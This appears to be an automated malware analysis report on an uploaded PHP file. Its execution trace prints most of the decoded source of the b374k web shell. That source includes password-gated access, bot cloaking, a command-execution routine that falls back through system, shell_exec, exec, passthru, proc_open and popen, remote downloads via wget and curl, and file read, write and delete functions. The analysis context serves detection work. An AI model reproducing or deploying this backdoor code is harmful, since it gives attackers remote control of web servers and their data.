PHP Malware Analysis

1i3i748Dk.php

md5: ef610f06557f0623ba35e75d30fccfaf

Jump to:

Screenshot


Attributes

Emails
  • anonymous@anonymous.com (Traces)

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/ef610f06557f0623ba35e75d30fccfaf_trace-1676257258.5188.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:01:24.416582]
1	0	1	0.000147	393528
1	3	0	0.000827	505328	{main}	1		/var/www/html/uploads/1i3i748Dk.php	0	0
1		A						/var/www/html/uploads/1i3i748Dk.php	8	GLOBALS['pass'] = 'da4019f2d5cf5ef29631ac69c2317573de66c9d0'
1		A						/var/www/html/uploads/1i3i748Dk.php	9	$func = 'create_function'
2	4	0	0.000878	505328	create_function	0		/var/www/html/uploads/1i3i748Dk.php	10	2	'$x'	'eval("?>".gzuncompress(base64_decode($x)));'
3	5	0	0.000909	506864	{internal eval}	1		/var/www/html/uploads/1i3i748Dk.php	10	0
3	5	1	0.000923	506864
3	5	R			NULL
2	4	1	0.000937	506344
2	4	R			'\000lambda_13'
1		A						/var/www/html/uploads/1i3i748Dk.php	10	$b374k = '\000lambda_13'
2	6	0	0.000965	506280	__lambda_func	1		/var/www/html/uploads/1i3i748Dk.php	11	1	'eNrsvQl74zayKPpXGB2/yBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvDwgWkKFtOZ+aee8/NfNOmgEKhABQKhUKh8PU3ZaVQd+VGO5dt9L/5RZndCdybLr8JMs36/6BeKFpV6dO9jzsqgqxyqu+B8umcKvISLcBvbo//MrK051QdfrK0Ts9pjYPfvLSQ4V+R5hGYxOkHWd3AT0WVGU7TOM0XeP7t9auLEpXT5J0KAPx/fPPPY6n4BlHjW40mM1VtxotScrnO9lb59EluZFaTbmZZYKPHVS1xOqRDg3WozS1SeqffL8dqh/VsNDlFFsIsLDGhxn63CdWzK7GSXmeU5mo4TNPpZDx/lLqxcWLRKB3EemLBT+K1UeYonTJyuhyLBgdHZbXVMvnFetXfFlYcr43k9UaozCstplFoRVKVGl3eKIVKecWWCspGkCZsiG4d6HJzORov5YlcGYnR/Xajj2OdorgphGapfE7v10uH0XTSnqQjB3YVEqctcZXZnaLV'
3	7	0	0.001057	506280	base64_decode	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function	1	1	'eNrsvQl74zayKPpXGB2/yBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvDwgWkKFtOZ+aee8/NfNOmgEKhABQKhUKh8PU3ZaVQd+VGO5dt9L/5RZndCdybLr8JMs36/6BeKFpV6dO9jzsqgqxyqu+B8umcKvISLcBvbo//MrK051QdfrK0Ts9pjYPfvLSQ4V+R5hGYxOkHWd3AT0WVGU7TOM0XeP7t9auLEpXT5J0KAPx/fPPPY6n4BlHjW40mM1VtxotScrnO9lb59EluZFaTbmZZYKPHVS1xOqRDg3WozS1SeqffL8dqh/VsNDlFFsIsLDGhxn63CdWzK7GSXmeU5mo4TNPpZDx/lLqxcWLRKB3EemLBT+K1UeYonTJyuhyLBgdHZbXVMvnFetXfFlYcr43k9UaozCstplFoRVKVGl3eKIVKecWWCspGkCZsiG4d6HJzORov5YlcGYnR/Xajj2OdorgphGapfE7v10uH0XTSnqQjB3YVEqctcZXZnaLV'
3	7	1	0.001401	616904
3	7	R			'x��\t{�6�(�W\030\035��\032�־��N���\\\024II�����t����\005�([Ng�{��|Ӧ�B�\000\024\n�B��7e�Pw�F;�m�E��\tܛ.�\t2���^(ZU�ӽ�;*��r����*�\022-�on��2���T\035~��N�i��߼���_��\021���\aY�OE�\031N�8�\027x���\022���\n\000�|��c��\006Q�[�&3UmƋRr��V��IndV�nfY`��U-q:�C�u��-Rz��/�j��l49E\026�,,1��~�\tճ+��^g��j8L��d<���qb�(\035�zb�O�Q�(�2r�\034�\006\aGe��2��z��\026V\034���F��+-�QhER�\032]�(�JyŖ\n�F�&l�n\035�rs9\032/�\\\031��v��c���)�f�|N��K��tҞ�#\av\025\022�-q�ٝ�ձ�Z7�\b����zp���zPV����O2�\\h\02'
3	8	0	0.002879	616872	gzuncompress	0		/var/www/html/uploads/1i3i748Dk.php(10) : runtime-created function	1	1	'x��\t{�6�(�W\030\035��\032�־��N���\\\024II�����t����\005�([Ng�{��|Ӧ�B�\000\024\n�B��7e�Pw�F;�m�E��\tܛ.�\t2���^(ZU�ӽ�;*��r����*�\022-�on��2���T\035~��N�i��߼���_��\021���\aY�OE�\031N�8�\027x���\022���\n\000�|��c��\006Q�[�&3UmƋRr��V��IndV�nfY`��U-q:�C�u��-Rz��/�j��l49E\026�,,1��~�\tճ+��^g��j8L��d<���qb�(\035�zb�O�Q�(�2r�\034�\006\aGe��2��z��\026V\034���F��+-�QhER�\032]�(�JyŖ\n�F�&l�n\035�rs9\032/�\\\031��v��c���)�f�|N��K��tҞ�#\av\025\022�-q�ٝ�ձ�Z7�\b����zp���zPV����O2�\\h\02'
3	8	1	0.005059	829896
3	8	R			'<?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php $GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBm'
3	9	0	0.008452	1463072	eval	1	'?><?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php $GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI="; $GLOBALS[\'resources\'][\'mime\'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $GLOBALS[\'resources\'][\'arrow\'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8="; ?><?php $GLOBALS[\'ver\'] = "3.2.2"; $GLOBALS[\'title\'] = "b374k"; @ob_start(); error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'html_errors\',\'0\'); @ini_set(\'display_errors\',\'1\'); @ini_set(\'display_startup_errors\',\'1\'); @ini_set(\'log_errors\',\'0\'); @set_time_limit(0); @clearstatcache(); if(!function_exists(\'auth\')){ function auth(){ if(isset($GLOBALS[\'pass\']) && (trim($GLOBALS[\'pass\'])!=\'\')){ $c = $_COOKIE; $p = $_POST; if(isset($p[\'pass\'])){ $your_pass = sha1(md5($p[\'pass\'])); if($your_pass==$GLOBALS[\'pass\']){ setcookie("pass", $your_pass); $res = " <script type=\'text/javascript\'> location.href=\'".get_self()."\'; </script> "; echo $res; } } if(!isset($c[\'pass\']) || (isset($c[\'pass\'])&&($c[\'pass\']!=$GLOBALS[\'pass\']))){ $res = " <body style=\'background:#f8f8f8;color:#000000;padding:0;margin:0;\'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type=\'text/javascript\'> var d = document; d.write(\\"<br><br><form method=\'post\'><center><input type=\'password\' id=\'pass\' name=\'pass\' style=\'font-size:13px;width:144px;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;\'></center></form>\\"); d.getElementById(\'pass\').focus(); d.getElementById(\'pass\').setAttribute(\'autocomplete\', \'off\'); </script> </body> "; echo $res; die(); } } } } if(!function_exists(\'get_server_info\')){ function get_server_info(){ $server_info[\'uname\'] = php_uname(); $server_software = (getenv(\'SERVER_SOFTWARE\')!=\'\')? getenv(\'SERVER_SOFTWARE\')." <span class=\'strong\'>|</span> ":\'\'; $server_info[\'software\'] = $server_software." PHP ".phpversion(); $server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:$_SERVER["HTTP_HOST"]; $server_info[\'ip_adrress\'] = "Server IP : ".$server_addr." <span class=\'strong\'>|</span> Your IP : ".$_SERVER[\'REMOTE_ADDR\']; $server_info[\'time_at_server\'] = "Time <span class=\'strong\'>@</span> Server : ".@date("d M Y H:i:s",time()); return $server_info; } } if(!function_exists(\'get_self\')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); } } if(!function_exists(\'get_post\')){ function get_post(){ return fix_magic_quote($_POST); } } if(!function_exists(\'get_nav\')){ function get_nav($path){ return parse_dir($path); } } if(!function_exists(\'get_cwd\')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE[\'cwd\'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE[\'cwd\']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; } } if(!function_exists(\'wrap_with_quotes\')){ function wrap_with_quotes($str){ return "\\"".$str."\\""; } } if(!function_exists(\'get_resource\')){ function get_resource($type){ if(isset($GLOBALS[\'resources\'][$type])){ return gzinflate(base64_decode($GLOBALS[\'resources\'][$type])); } return false; } } if(!function_exists(\'block_bot\')){ function block_bot(){ if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } } } if(!function_exists(\'is_win\')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; } } if(!function_exists(\'fix_magic_quote\')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\')); if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\\\'\\\'", "\\\'", $v)); } } } return $arr; } } if(!function_exists(\'execute\')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable(\'system\') && function_exists(\'system\')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'shell_exec\') && function_exists(\'shell_exec\')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable(\'exec\') && function_exists(\'exec\')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable(\'passthru\') && function_exists(\'passthru\')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'proc_open\') && function_exists(\'proc_open\')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable(\'popen\') && function_exists(\'popen\')){ $res = @popen($code, \'r\'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; } } if(!function_exists(\'html_safe\')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); } } if(!function_exists(\'parse_dir\')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class=\'navbar\' data-path=\'".html_safe($x)."\'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); } } if(!function_exists(\'zip\')){ function zip($files, $archive){ $status = false; if(!extension_loaded(\'zip\')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), \'\', $file); $file = str_replace(\'\\\\\', \'/\', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace(\'\\\\\', \'/\', $iterator); if(in_array(substr($iterator, strrpos($iterator, \'/\')+1), array(\'.\', \'..\'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.\'/\', \'\', $iterator.\'/\')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.\'/\', \'\', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; } } if(!function_exists(\'compress\')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type==\'zip\'){ if(zip($files, $archive)) return true; else return false; } elseif(($type==\'tar\')||($type==\'targz\')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type==\'tar\') execute("tar cf \\"".$archive."\\" ".implode(" ", $lists)); elseif($type==\'targz\') execute("tar czf \\"".$archive."\\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; } } if(!function_exists(\'decompress\')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type==\'unzip\'){ if(class_exists(\'ZipArchive\')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type==\'untar\'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type==\'untargz\'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; } } if(!function_exists(\'download\')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; } } if(!function_exists(\'get_fileperms\')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = \'u\'; if(($perms & 0xC000) == 0xC000)$flag = \'s\'; elseif(($perms & 0xA000) == 0xA000)$flag = \'l\'; elseif(($perms & 0x8000) == 0x8000)$flag = \'-\'; elseif(($perms & 0x6000) == 0x6000)$flag = \'b\'; elseif(($perms & 0x4000) == 0x4000)$flag = \'d\'; elseif(($perms & 0x2000) == 0x2000)$flag = \'c\'; elseif(($perms & 0x1000) == 0x1000)$flag = \'p\'; $flag .= ($perms & 00400)? \'r\':\'-\'; $flag .= ($perms & 00200)? \'w\':\'-\'; $flag .= ($perms & 00100)? \'x\':\'-\'; $flag .= ($perms & 00040)? \'r\':\'-\'; $flag .= ($perms & 00020)? \'w\':\'-\'; $flag .= ($perms & 00010)? \'x\':\'-\'; $flag .= ($perms & 00004)? \'r\':\'-\'; $flag .= ($perms & 00002)? \'w\':\'-\'; $flag .= ($perms & 00001)? \'x\':\'-\'; return $flag; } else return "???????????"; } } if(!function_exists(\'format_bit\')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; } } if(!function_exists(\'get_filesize\')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; } } if(!function_exists(\'get_filemtime\')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); } } if(!function_exists(\'get_fileowner\')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name[\'name\'].":".$group[\'name\']; } return $owner; } } if(!function_exists(\'rmdirs\')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; } } if(!function_exists(\'copys\')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; } } if(!function_exists(\'get_all_files\')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.\'*\'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.\'*\'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; } } if(!function_exists(\'read_file\')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; } } if(!function_exists(\'write_file\')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; } } if(!function_exists(\'view_file\')){ function view_file($file, $type, $preserveTimestamp=\'true\'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = \'image\'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get(\'highlight.default\'), "hl_keyword"=> ini_get(\'highlight.keyword\'), "hl_string"=> ini_get(\'highlight.string\'), "hl_html"=> ini_get(\'highlight.html\'), "hl_comment"=> ini_get(\'highlight.comment\') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\\"".$v."\\">", "<font class=\'".$k."\'>", $content); $content = str_replace("<span style=\\"color: ".$v."\\">", "<span class=\'".$k."\'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class=\'strong\'>(</span> ".$image_info[\'mime\']." <span class=\'strong\'>)</span><br> Image Size = <span class=\'strong\'>( </span>".$width." x ".$height."<span class=\'strong\'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id=\'viewFullsize\'> <span class=\'strong\'>[ </span>View Full Size<span class=\'strong\'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id=\'viewImage\' style=\'width:".$width."px;\' src=\'data:".$image_info[\'mime\'].";base64,".base64_encode(read_file($file))."\' alt=\'".$file."\'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src=\'\' type=\'".$mime."\'> </video> <p><span class=\'button\' onclick=\\"multimedia(\'".html_safe(addslashes($file))."\');\\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_raw\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_raw();\\">save</span></td><td style=\'vertical-align:middle;\'><div 